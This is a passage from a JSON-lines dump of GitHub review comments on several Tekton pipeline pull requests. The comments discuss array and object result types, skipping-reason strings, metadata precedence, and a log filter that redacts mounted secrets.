"pritidesai", "body": "This function does look weird. Can we avoid using `switch`:\r\n\r\n```\r\n\tif value[0] == '[' {\r\n\t\t// We're trying to Unmarshal to []string, but for cases like []int or other types\r\n\t\t// of nested array which we don't support yet, we should continue and Unmarshal\r\n\t\t// it to String. If the Type being set doesn't match what it actually should be,\r\n\t\t// it will be captured somewhere else.\r\n\t\t// if failed to unmarshal to array, we will convert the value to string and marshal it to string\r\n\t\tif err := json.Unmarshal(value, &arrayOrString.ArrayVal); err == nil {\r\n\t\t\tarrayOrString.Type = ParamTypeArray\r\n\t\t\treturn nil\r\n\t\t}\r\n\t}\r\n\tif value[0] == '{' {\r\n\t\t// if failed to unmarshal to map, we will convert the value to string and marshal it to string\r\n\t\tif err := json.Unmarshal(value, &arrayOrString.ObjectVal); err == nil {\r\n\t\t\tarrayOrString.Type = ParamTypeObject\r\n\t\t\treturn nil\r\n\t\t}\r\n\t}\r\n\tarrayOrString.ArrayVal = nil\r\n\tarrayOrString.ObjectVal = nil\r\n\tarrayOrString.Type = ParamTypeString\r\n\tarrayOrString.StringVal = string(value)\r\n```\r\n\r\nAlso, the unmarshalling does set the `arrayOrString.ArrayVal` to an array of equal length of the value in case of failure. And that is the reason we need to set it to nil explicitly. Will be great if we find a way unmarshal does not change the `ArrayVal` but not a blocker for this PR.", "comment_id": 877638606, "created_at": "2022-05-20T00:43:11Z", "line": 180, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "thank you @Yongxuanzhang for adding a list of unit tests \ud83d\ude4f \r\n\r\nNIT: please add tests for unmarshalling map as well, not a blocker though.", "comment_id": 877639198, "created_at": "2022-05-20T00:45:00Z", "line": 302, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Np!", "comment_id": 877727584, "created_at": "2022-05-20T04:42:07Z", "line": 302, "path": "pkg/apis/pipeline/v1beta1/param_types_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I changed it to use if, and the `json.Unmarshal(value, &arrayOrString.StringVal)` is needed, we cannot directly call arrayOrString.StringVal = string(value). It is necessary for correct string values\r\n\r\nYes, it is a bit weird that we need to set it to nil since we tried to unmarshal to array and it will create an empty array. It will be worth figuring out a better idea of this as you suggested", "comment_id": 877731636, "created_at": "2022-05-20T04:51:07Z", "line": 180, "path": "pkg/apis/pipeline/v1beta1/param_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "wouldn't this condition cause failure for an array and a map results? \r\n\r\nThe previous if condition is validating that the type cannot be array/map without `alpha` feature flag. \r\n\r\nSo, lets say, the alpha feature flag is set and result is array, this if condition will fail and cause validation error, right? \ud83e\udd14 \r\n\r\nAlso, not a blocker for this PR but please add a unit test `result_validation_test.go`", "comment_id": 878363108, "created_at": "2022-05-20T17:04:44Z", "line": 34, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/array/v1beta1.ResultsTypeArray/", "comment_id": 878365928, "created_at": "2022-05-20T17:08:25Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "s/object/v1beta1.ResultsTypeObject/", "comment_id": 878366514, "created_at": "2022-05-20T17:09:11Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for the comment! \r\nIf the type is `ResultsTypeArray` or `ResultsTypeObject`, we will directly return this check and won't reach the following code. So they won't fail validation if alpha feature flag is set. \r\n```\r\nreturn errs.Also(ValidateEnabledAPIFields(ctx, \"results type\", config.AlphaAPIFields))\r\n```", "comment_id": 878401015, "created_at": "2022-05-20T17:49:09Z", "line": 34, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This function is tested in `task_validation_test.go`, but I can add separate test for this func for sure! Maybe save it for another PR?", "comment_id": 878402314, "created_at": "2022-05-20T17:50:48Z", "line": 34, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Thank you!\r\n", "comment_id": 878403066, "created_at": "2022-05-20T17:51:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "Is this check necessary here? We are already validating specifications \u2b06\ufe0f https://github.com/tektoncd/pipeline/pull/4818/files#diff-2a1291b0e1080edbd9fdcd0c6e4c6bd4bfc2967e2c376815219bb571aeeae70fR30", "comment_id": 878428117, "created_at": "2022-05-20T18:17:34Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes we have validated in admission webhook, but I feel like it is no wrong to add more checks in reconciler code if possible.", "comment_id": 878430687, "created_at": "2022-05-20T18:19:54Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "this if statement will not be reached at all, right? since `UnmarshalJSON` does not return any error.", "comment_id": 878433266, "created_at": "2022-05-20T18:22:18Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for pointing that out! \r\nYes right now we won't reach this, but considering that `UnmarshalJSON` may be changed (maybe one day we need to return err for some cases and don't have to convert them to string), maybe it is ok to keep it?\r\n\r\n", "comment_id": 878442608, "created_at": "2022-05-20T18:31:01Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "thank you @Yongxuanzhang I commented a little early \ud83d\ude43 thought there was more to this but apparently its only checking the types.", "comment_id": 878513817, "created_at": "2022-05-20T20:06:15Z", "line": 34, "path": "pkg/apis/pipeline/v1beta1/result_validation.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "The side effect is we are bringing `context` down for no reason. This validation does not add any value and in long run, might require more cycles to understand why its implemented here.", "comment_id": 878519558, "created_at": "2022-05-20T20:17:07Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes! Another reason we validate here is that it is possible that users don't specify the result type, it is an optional field and will be set to `string` if user not specified. If the type is required mandatory it will introduce breaking changes. \r\nSo the validation in webhook is not 100% reliable in the case that user creates a task without setting the result type.\r\nAnd we cannot infer the result type in validation webhook since the results are emitted during runtime.\r\nThat's why it may make sense to validate when we get the emitted results at reconciler.", "comment_id": 878526809, "created_at": "2022-05-20T20:30:26Z", "line": null, "path": "pkg/pod/status.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "I ran `tkn` which failed with:\r\n\r\n```\r\ntkn taskrun list\r\nError: failed to list TaskRuns from namespace default: unrecognized type: string\r\n```\r\n\r\nI haven't ran any troubleshooting on the CLI to confirm if its caused by this change \ud83d\ude43 .\r\n\r\n```\r\ntkn version \r\nClient version: 0.23.1\r\nPipeline version: devel\r\n```\r\n\r\nIt might be safe to merge this PR but the CLI will have to updated before adopting the latest pipelines release (with these changes). @vdemeester @vinamra28 ", "comment_id": 878538970, "created_at": "2022-05-20T20:53:04Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks for checking! And we also need to change that type for Pipelinerun result in the following PR. ", "comment_id": 878549079, "created_at": "2022-05-20T21:13:51Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "So once we create release with this change, CLI will not work at all for `taskRun` listing. I have not tried creating or describing `taskRun`. Can you please follow up with CLI folks to make them aware of this change?", "comment_id": 880882792, "created_at": "2022-05-24T19:36:37Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah sure!", "comment_id": 880894082, "created_at": "2022-05-24T19:51:20Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "cc:@ywluogg, I remember you send email to remind the changes, so we should send emails specifically about cli for this?", "comment_id": 880895867, "created_at": "2022-05-24T19:53:50Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It looks like api mismatch between the pipeline and cli, it should be fixed when we release this change and then bump the pipeline version for cli? Am I correct? @pritidesai ", "comment_id": 880907702, "created_at": "2022-05-24T20:08:23Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "/cc @tektoncd/cli-maintainers ", "comment_id": 880968172, "created_at": "2022-05-24T21:32:26Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "should this be calling unmarshalling here? Calling NewArrayOrString with `runValue` here returns a `string`. \r\n\r\nAlso, why limiting this to just the custom task? ", "comment_id": 880977368, "created_at": "2022-05-24T21:47:27Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "> Also, why limiting this to just the custom task?\r\n\r\nSo custom task results are still `string`:\r\n\r\n```\r\ntype RunResult struct {\r\n\t// Name the given name\r\n\tName string `json:\"name\"`\r\n\t// Value the given value of the result\r\n\tValue string `json:\"value\"`\r\n}\r\n```\r\n\r\nAre we planning on changing the custom task result to string/array? Something coming up ...", "comment_id": 880981794, "created_at": "2022-05-24T21:55:24Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, this is a great question! We don't support structured results for custom task in this PR. So this is intentionally to return string here. ", "comment_id": 880984078, "created_at": "2022-05-24T21:59:36Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "We plan to add support for task and pipeline first, custom task is not discussed and also not explicitly mentioned in the tep (in tep we only mention task and pipeline) but we will discuss later!\r\n\r\nhttps://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md#summary", "comment_id": 880985744, "created_at": "2022-05-24T22:02:37Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "The first use case explicitly talks about custom task - https://github.com/tektoncd/community/blob/main/teps/0076-array-result-types.md#use-cases Custom task `params` has use case to consume an array which could be a result of other task and produce a result with an array (a list of hashes/a list of built images).\r\n\r\nThank you @Yongxuanzhang for following up on this \ud83d\ude4f ", "comment_id": 881057356, "created_at": "2022-05-24T23:29:15Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "pritidesai", "body": "> It looks like api mismatch between the pipeline and cli, it should be fixed when we release this change and then bump the pipeline version for cli? Am I correct? @pritidesai\r\n\r\nI think It will be fixed when CLI bumps the pipelines version (which will have these changes) and update their usage/implementation to change the type of the results from `string` to `StringOrArray`. The error reported here is coming from:\r\n\r\n```\r\n./pkg/cmd/taskrun/list.go: return fmt.Errorf(\"failed to list TaskRuns from namespace %s: %v\", p.Namespace(), err)\r\n``` ", "comment_id": 881069440, "created_at": "2022-05-25T00:01:29Z", "line": 42, "path": "pkg/apis/pipeline/v1beta1/result_types.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes! I have added in our tracking issue", "comment_id": 881077710, "created_at": "2022-05-25T00:24:53Z", "line": 147, "path": "pkg/reconciler/pipelinerun/resources/resultrefresolution.go", "pr_number": 4818, "repo": "pipeline"} +{"author": "jerop", "body": "why is this test deleted? it seems unrelated \ud83e\udd14 ", "comment_id": 864140165, "created_at": "2022-05-03T19:49:33Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "jerop", "body": "this is an example scenario where the reason the `pipelinetask` is skipped is not its `when` expressions evaluating to false, but the `when` expressions are included - this is something we can address in a follow up pull request as discussed in https://github.com/tektoncd/pipeline/pull/4800#pullrequestreview-959569116", "comment_id": 864150774, "created_at": "2022-05-03T19:54:13Z", "line": null, "path": "test/pipelinefinally_test.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Yes, this might be due to me wrongly squashing the commits.", "comment_id": 865025131, "created_at": "2022-05-04T16:15:48Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I fixed it.", "comment_id": 865068143, "created_at": "2022-05-04T16:59:57Z", "line": null, "path": "pkg/pod/status_test.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "jerop", "body": "maybe providing the reasons as sentences would be helpful? \r\n\r\n```suggestion\r\n// SkippingReason explains why a PipelineTask was skipped.\r\ntype SkippingReason string\r\n\r\nconst (\r\n\t// WhenExpressionsSkip means the task was skipped due to at least one of its when expressions evaluating to false\r\n\tWhenExpressionsSkip SkippingReason = \"When Expressions evaluated to false\"\r\n\t// ConditionsSkip means the task was skipped due to at least one of its conditions failing\r\n\tConditionsSkip SkippingReason = \"Conditions failed\"\r\n\t// ParentTasksSkip means the task was skipped because its parent was skipped\r\n\tParentTasksSkip SkippingReason = \"Parent Tasks were skipped\"\r\n\t// StoppingSkip means the task was skipped because the pipeline run is stopping\r\n\tStoppingSkip SkippingReason = \"PipelineRun was stopping\"\r\n\t// GracefullyCancelledSkip means the task was skipped because the pipeline run has been gracefully cancelled\r\n\tGracefullyCancelledSkip SkippingReason = \"PipelineRun was gracefully cancelled\"\r\n\t// GracefullyStoppedSkip means the task was skipped because the pipeline run has been gracefully stopped\r\n\tGracefullyStoppedSkip SkippingReason = \"PipelineRun was gracefully stopped\"\r\n\t// MissingResultsSkip means the task was skipped because it's missing necessary results\r\n\tMissingResultsSkip SkippingReason = \"Results were missing\"\r\n\t// None means the task was not skipped\r\n\tNone SkippingReason = \"None\"\r\n)\r\n\r\n```", "comment_id": 865384294, "created_at": "2022-05-04T21:03:46Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Good idea! Added it. ", "comment_id": 865416693, "created_at": "2022-05-04T21:53:53Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 4829, "repo": "pipeline"} +{"author": "lbernick", "body": "Does the user see \"WhenExpressionsSkip\" or do they see \"When Expressions evaluated to false\"? (looks to me like the latter but want to double check). If the latter, would you mind updating this comment? If the former, the full sentence might be more informative to show.", "comment_id": 865908447, "created_at": "2022-05-05T13:30:38Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4829, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "You're right. It's the latter. Let me fix that.", "comment_id": 865921669, "created_at": "2022-05-05T13:43:22Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4829, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Done! Thanks for pointing that out.", "comment_id": 865924804, "created_at": "2022-05-05T13:46:14Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4829, "repo": "pipeline"} +{"author": "lbernick", "body": "not a big deal, but generally it's preferred for a PR to do only one thing, so these formatting changes might make more sense as part of a separate PR.", "comment_id": 866943819, "created_at": "2022-05-06T15:32:11Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "lbernick", "body": "This looks like a broken link.", "comment_id": 866944630, "created_at": "2022-05-06T15:33:06Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: this could be phrased as: \"If the same key is present in PipelineRun.metadata and Pipeline.spec.tasks.taskSpec.metadata, the value from Pipeline.spec.tasks.taskSpec.metadata will be used\".", "comment_id": 866945874, "created_at": "2022-05-06T15:34:41Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: A better docstring could be:\r\n\"addMetadataByPrecedence adds the elements in `addedMetadata` to `metadata`. If the same key is present in both maps, the value from `addedMetadata` will be used.\"\r\n\r\nreasoning is that this function doesn't operate on any of the structs listed in the current docstring", "comment_id": 866948696, "created_at": "2022-05-06T15:38:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "lbernick", "body": "Let's be clear that only labels and annotations are supported, not the other fields in k8s metadata.", "comment_id": 866949767, "created_at": "2022-05-06T15:39:27Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks this logic. raise https://github.com/tektoncd/pipeline/issues/4842 for a separate task. ", "comment_id": 867164394, "created_at": "2022-05-06T19:31:28Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "my bad. this should only be a `Metadata` without a ref bracket []", "comment_id": 867165062, "created_at": "2022-05-06T19:32:39Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "there are 3 metadata mentioned for this case.\r\nthink perhaps could follow the direction and rephrase as:\r\n\"If the same key is present, the value will be kept by the precedence order as `PipelineRun.spec.taskRunSpec.metadata` > `PipelineRun.metadata` > `Pipeline.spec.tasks.taskSpec.metadata`.\"", "comment_id": 867177953, "created_at": "2022-05-06T19:54:11Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "much clearer as for this specific function context. thanks! ", "comment_id": 867178389, "created_at": "2022-05-06T19:55:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "let me add a specification for this term. ", "comment_id": 867179464, "created_at": "2022-05-06T19:56:44Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "one update - the value from `metadata` will be used if conflicts. ", "comment_id": 867185145, "created_at": "2022-05-06T20:07:37Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it should be ok to not add the `()`, and can we say this is used for adding missing data from `addedMetadata` to `metadata`?\r\n```suggestion\r\n// addMetadataByPrecedence adds the elements in addedMetadata to metadata. If the same key is present in both maps, the value from metadata will be used.\r\n```", "comment_id": 867202805, "created_at": "2022-05-06T20:40:19Z", "line": 1053, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Test func name is usually named as TestTheFuncTested(), maybe that is more informative ?", "comment_id": 867210491, "created_at": "2022-05-06T20:54:41Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is this func testing the same func as above? Can we merge them into one ?", "comment_id": 867210792, "created_at": "2022-05-06T20:55:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "ya. both should work. but just want to differentiate this func term with the later params. \r\n\r\n\"adding missing ...\" is a good point. considering the context here is dealing with the metadata precedence, so think I will keep this expression to emphasize more about the \"same-key\" case. ", "comment_id": 868157180, "created_at": "2022-05-09T15:42:30Z", "line": 1053, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "This test case is targeted for this specific case rather the existing func, so naming with a `Test[Case]()`", "comment_id": 868159539, "created_at": "2022-05-09T15:45:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "nope. if looking into the code, the #1 case is for propagating and the #2 is for handling metadata precedence.\r\n\r\nthanks the reviews help. \r\n ", "comment_id": 868161788, "created_at": "2022-05-09T15:47:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That makes sense! Thanks for clarification, my comments are all super nit. Just feel like it would be better if we could have namings like TestTheFuncTested_Case (Maybe like Reconcile?),\r\n\r\nYou can also close this comment, \ud83d\ude04 ", "comment_id": 868178210, "created_at": "2022-05-09T16:04:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "think you are right on this point. a func + case name will never get us less clear.\r\n\r\nchecked this file. naming style is a bit mix, (with or without _ )\r\nbut will go with Test[TheFuncTested]_Case as for a easier reading", "comment_id": 868238365, "created_at": "2022-05-09T17:16:10Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 4834, "repo": "pipeline"} +{"author": "jerop", "body": "please add the labels in this example as well so that it's clear to users that its also supported", "comment_id": 883681851, "created_at": "2022-05-27T14:41:53Z", "line": 772, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "jerop", "body": "```suggestion\r\nIf a metadata key is present in different levels, the value that will be used in the `TaskRun` is determined using this precedence order: `PipelineRun.spec.taskRunSpec.metadata` > `PipelineRun.metadata` > `Pipeline.spec.tasks.taskSpec.metadata`.\r\n```", "comment_id": 883683569, "created_at": "2022-05-27T14:43:44Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "good catch! let me update.", "comment_id": 883691867, "created_at": "2022-05-27T14:52:59Z", "line": 772, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thanks this line. think making it more clear about the specific meaning of key and the \"diff show-up\" (so for precedence)\r\n\r\njust one minor update - will update as `PipelineRun` for this case. ", "comment_id": 883696281, "created_at": "2022-05-27T14:57:56Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4834, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Does it make sense to add the following [design after discussions](https://github.com/tektoncd/pipeline/pull/4837#issuecomment-1142377168) to the documentations?\r\n```\r\nThis design does not transmit actual secrets. Only the places where the pod can find secrets it has attached to it. And those are the secrets that need to be redacted. Because only those can be used in the corresponding pipeline step.\r\n```\r\n", "comment_id": 999940084, "created_at": "2022-10-19T21:14:21Z", "line": null, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Makes sense, I will add that.", "comment_id": 1001448239, "created_at": "2022-10-21T07:16:30Z", "line": null, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Could we introduce this as an alpha/experimental feature? (just document in the comments here and in the docs you've added that it's alpha)", "comment_id": 1003322036, "created_at": "2022-10-24T13:34:58Z", "line": 103, "path": "config/config-feature-flags.yaml", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Does this mean the `tekton-pipelines` namespace, or the namespace where the PipelineRun is running?", "comment_id": 1003324149, "created_at": "2022-10-24T13:36:56Z", "line": null, "path": "docs/install.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "What's the reason a ring buffer is needed? Are there any builtins that would work instead?", "comment_id": 1003329940, "created_at": "2022-10-24T13:42:03Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "I'd suggest package `filter_test` for tests, to prevent testing non public functions ", "comment_id": 1003333437, "created_at": "2022-10-24T13:45:09Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "There's a lot of logic in this test, which makes it hard to tell what the \"api\" of this package is. It sounds like from the commit message/docs the PipelineRun controller determines the locations of mounted secrets and passes them via an envvar to the step container, and these are parsed by the entrypoint-- but this detection logic is being called by the entrypoint. Would it be possible to move test setup out of the test itself to make it easier to see what's going on?\r\n\r\nAlso, are there any test cases where the inputs and outputs look like inputs and outputs to the entrypoint? (I know this question is a bit vague but it's because I'm confused about the role of each component here \ud83d\ude05 )", "comment_id": 1003349522, "created_at": "2022-10-24T13:58:28Z", "line": null, "path": "pkg/credentials/filter/secret_detection_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "The docs say that the values of the secrets are not transmitted, but it looks like an example DetectedSecret would be Name: \"password\", Value: \"my-super-secret-password\"-- am I understanding this correctly? Is the idea here that the entrypoint is reading the secret files to get the contents of the secrets and prevent them from being printed?", "comment_id": 1003353007, "created_at": "2022-10-24T14:01:23Z", "line": 13, "path": "pkg/credentials/filter/secret_detection.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "It would be helpful to see a test with a TaskRun that has a mounted secret, and to check that the envvar set on the step containers has the correct value.", "comment_id": 1003354776, "created_at": "2022-10-24T14:02:53Z", "line": 5026, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "It seems like this is just a boolean variable and possibly redundant with FeatureFlags.EnableLoggingCredentialsFilter-- can it be removed? Can we pass the boolean as a new optional arg to the entrypoint?", "comment_id": 1003357975, "created_at": "2022-10-24T14:05:50Z", "line": 116, "path": "pkg/apis/config/feature_flags.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "done", "comment_id": 1006434780, "created_at": "2022-10-27T06:06:30Z", "line": 103, "path": "config/config-feature-flags.yaml", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Well this comment was from the first design. I refactored it and referenced to the detailed documentation.", "comment_id": 1006490807, "created_at": "2022-10-27T07:19:52Z", "line": null, "path": "docs/install.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "You need to keep the last N bytes somewhere to check if they contain a secret value and only print out stuff that is clearly no secret. In our case that means everything which was not detected as secret in the ring buffer and drops out when something is added to the ring buffer. As all secret values are known, the maximum ring buffer size will be the maximum secret length.", "comment_id": 1006492691, "created_at": "2022-10-27T07:22:08Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I dont know if there is a good implementation out there that fits the bill here. But there seems to be nothing in the standard lib. As it always incurs a cost to add third party libs and the ring buffer is not that complicated I decided to implement it on my own.", "comment_id": 1006493552, "created_at": "2022-10-27T07:23:02Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Never heard that you change the package name for unit tests. Usually its enough to just put _test at the end of the files, so that the build ignores those files.\r\nAlso its not possible to open up a second package in a folder right?\r\nIf that is not what you meant could you explain this in more detail please.", "comment_id": 1006496307, "created_at": "2022-10-27T07:26:01Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "There are currently to processes in place which could make this a little bit confusing at first. But its quite simple:\r\n\r\n- Secret extraction runs on controller side and extracts the environment variables names and file paths where secrets are store in a pod\r\n- Secret detection runs on the entrypoint side and uses the extracted secret locations to actually detect the secret values from the environment variables and files.\r\n\r\nThis also means that a \"detected\" secret on entrypoint side contains the full secret that needs to be redacted by the entypoint. But this secret value is not transmitted to it, just the location. The secret value itself comes either from an environment variable or file content. ", "comment_id": 1006499456, "created_at": "2022-10-27T07:29:27Z", "line": 13, "path": "pkg/credentials/filter/secret_detection.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Well yes and no. The feature flags are only available to the controller. This environment variable on the other hand is setup by the controller in the pipeline pods.", "comment_id": 1006969402, "created_at": "2022-10-27T14:40:29Z", "line": 116, "path": "pkg/apis/config/feature_flags.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I created a test for this: TestCreatePod_ExtractedSecretsAppliedToPodEnv", "comment_id": 1007700841, "created_at": "2022-10-28T06:42:14Z", "line": 5026, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Do you think so? Its quite simple. This is actually the easy part. Just load the secrets from files and environment variables.\r\nThe only tricky thing is that in kubernetes the secrets in the file system are made up of symlinks and that requires some little bit of extra logic to handle it. Thats the reason for this test.", "comment_id": 1007706033, "created_at": "2022-10-28T06:48:42Z", "line": null, "path": "pkg/credentials/filter/secret_detection_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "It's possible! Here's [an example](https://github.com/tektoncd/pipeline/blob/db4c05c0294ad33a2f6e7b17cacf53526139616d/pkg/workspace/apply_test.go#L1)", "comment_id": 1008039920, "created_at": "2022-10-28T13:01:22Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": 